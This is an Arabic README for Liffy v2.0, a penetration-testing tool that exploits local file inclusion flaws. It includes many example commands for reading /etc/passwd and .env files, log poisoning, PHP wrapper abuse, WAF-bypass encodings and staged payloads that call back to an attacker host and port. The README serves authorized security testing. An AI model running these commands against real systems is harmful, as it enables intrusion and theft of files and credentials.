
أداة استغلال تضمين الملفات المحلية

أداة بايثون قوية لاستغلال ثغرة تضمين الملفات المحلية (LFI) مع ميزات متقدمة تشمل تجاوز جدار الحماية (WAF)، وتقنيات الترميز، وكشف شامل للثغرات.
Liffy v2.0 هي النسخة المحسّنة بشكل كبير من liffy التي تم إنشاؤها أصلاً بواسطة rotlogix/liffy. تتضمن هذه النسخة ميزات حديثة مثل إخراج الطرفية الغني (Rich terminal)، وتكوين YAML، وتحسين تعدد الخيوط، والعديد من تقنيات الاستغلال المتقدمة.
⚠️ تمت كتابة الكثير من التغييرات الجديدة بطريقة "vibe coding".
تأكد من استخدام Python 3. لا يدعم Liffy Python 2. الأمثلة أدناه تستخدم uv run python لتشغيل الأوامر داخل بيئة المشروع.
# قم بتثبيت uv إذا لم يكن مثبتاً لديك
curl -LsSf https://astral.sh/uv/install.sh | sh
# استنساخ المستودع
git clone https://github.com/mzfr/liffy
cd liffy
# إنشاء بيئة افتراضية باستخدام uv
uv venv
# تثبيت التبعيات من pyproject.toml
uv sync
# تشغيل liffy
uv run python liffy.py --help
uv run python liffy.py <URL> [OPTIONS]
usage: liffy.py [-h] [-d] [-i] [-e] [-f] [-p] [-a] [-ns] [-r] [--ssh]
[-l LOCATION] [--cookies COOKIES] [-dt] [-t THREADS]
[--detection] [--null-byte] [--zip] [--encoding]
[--waf-bypass] [--method {GET,POST}] [--post-data POST_DATA]
[--headers HEADERS] [--lhost LHOST] [--lport LPORT]
[--read-file READ_FILE] [-y] [--timeout TIMEOUT]
[--proxy PROXY] [--verify-tls] [--user-agent USER_AGENT]
[--oob] [--oob-url OOB_URL] [--blind] [--auto]
[--delay DELAY] [--retries RETRIES] [--json] [--output OUTPUT]
[--quiet] [--no-color] [--no-banner] [--config]
[url]
positional arguments:
url عنوان URL لاختبار LFI
تقنيات أساسية:
-d, --data استخدام تقنية data://
-i, --input استخدام تقنية input://
-e, --expect استخدام تقنية expect://
-f, --filter استخدام تقنية filter://
-p, --proc استخدام تقنية /proc/self/environ
-a, --access استخدام تقنية سجلات Apache access
--ssh تسميم سجل auth SSH
-dt, --directorytraverse اختبار التنقل في الدليل (Directory Traversal)
--null-byte اختبار تسميم البايت الفارغ (Null Byte Poisoning)
--zip اختبار استغلال غلاف ZIP
--wrappers, --wrapper كشف أغلفة تيار LFI الشائعة
--wrapper-list WRAPPER_LIST
مسار قائمة حمولات اختبار الأغلفة المخصصة
--oob إرسال اختبارات رد اتصال خارج النطاق (OOB)
--oob-url OOB_URL عنوان URL الأساسي لرد اتصال OOB
--blind تشغيل فحوصات فرق استجابة LFI العمياء
--blind-list BLIND_LIST
مسار قائمة اختبارات LFI العمياء المخصصة
--auto تشغيل خطة فحص تلقائي آمنة
خيارات متقدمة:
--encoding استخدام تقنيات ترميز/تجاوز متقدمة
--waf-bypass استخدام تقنيات تجاوز جدار الحماية (WAF)
--method {GET,POST} طريقة HTTP المستخدمة (الافتراضي: GET)
--post-data POST_DATA بيانات POST (التنسيق: key=value&key2=value2)
--headers HEADERS رؤوس مخصصة (التنسيق: Header1:Value1,Header2:Value2)
--detection تنفيذ كشف LFI فقط، بدون استغلال
خيارات الطلب:
--timeout TIMEOUT مهلة طلب HTTP بالثواني
--proxy PROXY عنوان URL لوكيل HTTP(S)، مثلاً http://127.0.0.1:8080
--verify-tls التحقق من شهادات TLS بدلاً من استخدام طلبات غير آمنة
--user-agent UA رأس User-Agent مخصص
--delay DELAY التأخير بين الطلبات بالثواني
--retries RETRIES عدد إعادة محاولات HTTP لكل طلب
خيارات الأتمتة:
--lhost LHOST مضيف رد الاتصال للحمولات المجزأة
--lport LPORT منفذ رد الاتصال للحمولات المجزأة
--read-file PATH مسار الملف للقراءة باستخدام filter://
-y, --yes استخدام القيم الافتراضية للمطالبات والتشغيل غير التفاعلي
--json طباعة ملخص JSON للتشغيل
--output OUTPUT كتابة ملخص JSON إلى ملف
--quiet إخفاء الإخراج الطرفي العادي
خيارات عامة:
-ns, --nostager تنفيذ الحمولة مباشرة، دون استخدام stager
-r, --relative استخدام تسلسلات التنقل في المسار للهجوم
-l, --location LOCATION مسار الملف الهدف (سجل الوصول، سجل المصادقة، إلخ.)
--cookies COOKIES ملفات تعريف الارتباط للجلسة للمصادقة
-t, --threads THREADS عدد الخيوط المستخدمة (الافتراضي: 5)
--no-color تعطيل الإخراج الملون
--no-banner تعطيل عرض الشعار
--config إنشاء ملف تكوين YAML افتراضي
أنشئ ملف تكوين للإعدادات الدائمة:
uv run python liffy.py --config
يقوم هذا بإنشاء liffy_config.yaml بالإعدادات الافتراضية:
# Liffy Configuration File
max_threads: 5
rate_limit_delay: 0.1
disable_colors: false
disable_banner: false
quiet: false
default_method: GET
user_agent_rotation: true
request_timeout: 15
proxy: null
verify_tls: false
retries: 0
قم بتعيين disable_banner: true لإخفاء شعار/شاشة البداية افتراضياً. لا تزال أعلام CLI تتجاوز قيم التكوين، لذا يمكنك أيضاً استخدام --no-banner أو --no-color أو --quiet للتشغيلات الفردية.
يمكنك أيضاً استخدام متغيرات البيئة:
LIFFY_THREADS - عدد الخيوطLIFFY_RATE_LIMIT - تأخير تحديد المعدلLIFFY_NO_COLOR - تعطيل الألوان (true/false)عند تمكين --waf-bypass، يطبق liffy تلقائياً تقنيات متعددة للتهرب:
/**/, #, ;file:///, pHp://./, ../, بايتات فارغةمع --encoding، يطبق liffy طرق ترميز متقدمة:
%252e%252e%252f\u002e\u002e\u002f..%2F, ..%2f../# POST مع بيانات النموذج
uv run python liffy.py "http://target.com/lfi.php" -d --method POST --post-data "file=../../etc/passwd"
# POST مع رؤوس مخصصة
uv run python liffy.py "http://target.com/lfi.php" -d --method POST --headers "X-Forwarded-For:127.0.0.1,Authorization:Bearer token123"
# إرسال حركة المرور عبر وكيل محلي وإعادة محاولة حالات الفشل المؤقتة
uv run python liffy.py "http://target.com/lfi.php?file=" -d \
--proxy "http://127.0.0.1:8080" --timeout 20 --retries 2
# استخدام User-Agent ثابت وتأخير طلب مخصص
uv run python liffy.py "http://target.com/lfi.php?file=" --detection -f \
--user-agent "liffy/2.0" --delay 0.5
uv run python liffy.py "http://example.com/page.php?file=" -d
uv run python liffy.py "http://example.com/page.php?file=" -d -i -e -f
uv run python liffy.py "http://example.com/page.php?file=" --detection -d -i -e
uv run python liffy.py "http://example.com/page.php?file=" -d --waf-bypass --encoding
uv run python liffy.py "http://example.com/page.php?file=" -d -t 10 --config
uv run python liffy.py "http://example.com/upload.php" -d --method POST \
--post-data "action=read&file=../../etc/passwd" \
--headers "User-Agent:Mozilla/5.0,X-Forwarded-For:192.168.1.1"
uv run python liffy.py "http://example.com/page.php?file=" -a
uv run python liffy.py "http://example.com/page.php?file=" --ssh
uv run python liffy.py "http://example.com/page.php?file=" -a -l "/var/log/apache2/access.log"
uv run python liffy.py "http://example.com/page.php?file=" -d -r
uv run python liffy.py "http://example.com/page.php?file=" -dt
uv run python liffy.py "http://example.com/page.php?file=" --null-byte
uv run python liffy.py "http://example.com/page.php?file=" --zip
uv run python liffy.py "http://example.com/page.php?file=" --wrappers
يستخدم كشف الأغلفة اختبارات افتراضية آمنة لـ file:// و php://filter و data:// و php://temp و php://memory والأغلفة ذات الصلة. يتم التعامل مع zip:// و phar:// و glob:// كمعلوماتية/شرطية لأنها تتطلب عادةً ملفات من الجانب الهدف أو سلوكاً يكشف قوائم.
يمكنك تقديم قائمة حمولات أغلفة مخصصة. إذا تم حذف --wrapper-list، يعود liffy إلى الاختبارات المضمنة:
uv run python liffy.py "http://example.com/page.php?file=" --wrapper \
--wrapper-list payload_wordlists/wrappers.txt
يمكن أن يكون كل سطر غير فارغ إما حمولة خام أو name=payload:
php-filter-passwd=php://filter/read=convert.base64-encode/resource=/etc/passwd
file-winini=file:///c:/windows/win.ini
uv run python liffy.py "http://example.com/page.php?file=" --oob \
--oob-url "https://example.oast.site"
استخدم هذا مع مستمع رد اتصال HTTP/DNS. يرسل Liffy حمولات من نوع غلاف URL وتتحقق مما إذا كان الهدف يرجع الاتصال.
uv run python liffy.py "http://example.com/page.php?file=" --blind
تقارن الفحوصات العمياء اختبارات الملفات الموجودة مقابل خطوط أساس ملفات مفقودة عشوائية وتبلغ عن اختلافات الحالة أو الطول أو التوقيت عندما لا ينعكس المحتوى مباشرة.
يمكنك تقديم قائمة اختبارات عمياء مخصصة. إذا تم حذف --blind-list أو كان فارغاً، يستخدم liffy الاختبارات المضمنة:
uv run python liffy.py "http://example.com/page.php?file=" --blind \
--blind-list payload_wordlists/blind_lfi.txt
يمكن أن يكون كل سطر غير فارغ إما حمولة خام أو name=payload:
linux-passwd=/etc/passwd
proc-environ=/proc/self/environ
laravel-env=.env
uv run python liffy.py "http://example.com/page.php?file=" --auto
--auto يمكّن التنقل في الدليل (كشف فقط)، وفحوصات الأغلفة، والفحوصات العمياء. إذا تم توفير --oob-url أيضاً، فإنه يتضمن اختبارات OOB.
uv run python liffy.py "http://example.com/page.php?file=" \
-d -i -e -f -p -a --ssh -dt --null-byte --zip --wrappers --blind \
--encoding --waf-bypass --detection
uv run python liffy.py "http://example.com/page.php?file=" -d \
--cookies "PHPSESSID=abc123; auth_token=xyz789"
uv run python liffy.py "http://example.com/page.php?file=" -d \
--lhost 10.10.14.2 --lport 4444 --yes
uv run python liffy.py "http://example.com/page.php?file=" -f \
--read-file /etc/passwd --yes
uv run python liffy.py "http://example.com/page.php?file=" --detection -f --json
uv run python liffy.py "http://example.com/page.php?file=" --detection -f \
--output findings.json
uv run python liffy.py "http://example.com/page.php?file=" -d --no-color --no-banner
uv run python liffy.py "http://example.com/page.php?file=" --detection -f --quiet --output findings.json
يتم استخدام المواقع الافتراضية التالية عندما لا يتم تحديد مسار مخصص:
/var/log/auth.log/var/log/apache2/access.log/var/log/httpd/access_logنرحب بالمساهمات! إليك كيف يمكنك المساعدة:
لا تتردد في فتح مشكلة لأي أسئلة أو اقتراحات!
يوفر وضع الكشف في Liffy تحليلاً شاملاً للثغرات:
/etc/passwd[+] VULNERABILITY SUMMARY
==================================================
[1] Vulnerability Found
Payload: ../../etc/passwd
Confidence: 85%
Evidence: Linux /etc/passwd file: root:
Status Code: 200
Content Length: 1547
# استخدام تقنيات تجاوز WAF
uv run python liffy.py "http://target.com/lfi.php" -d --waf-bypass
# تقليل عدد الخيوط وزيادة التأخيرات
uv run python liffy.py "http://target.com/lfi.php" -d -t 1
# زيادة التأخير في ملف التكوين
max_threads: 2
rate_limit_delay: 1.0
للإخراج المفصل، يمكنك تعديل التكوين:
debug_mode: true
verbose_output: true
تم تصميم Liffy لاختبارات الأمان المصرح بها فقط.
المؤلفون ليسوا مسؤولين عن إساءة استخدام هذه الأداة.
هذا المشروع مرخص بموجب رخصة GNU General Public License v3.0 - راجع ملف LICENSE للحصول على التفاصيل.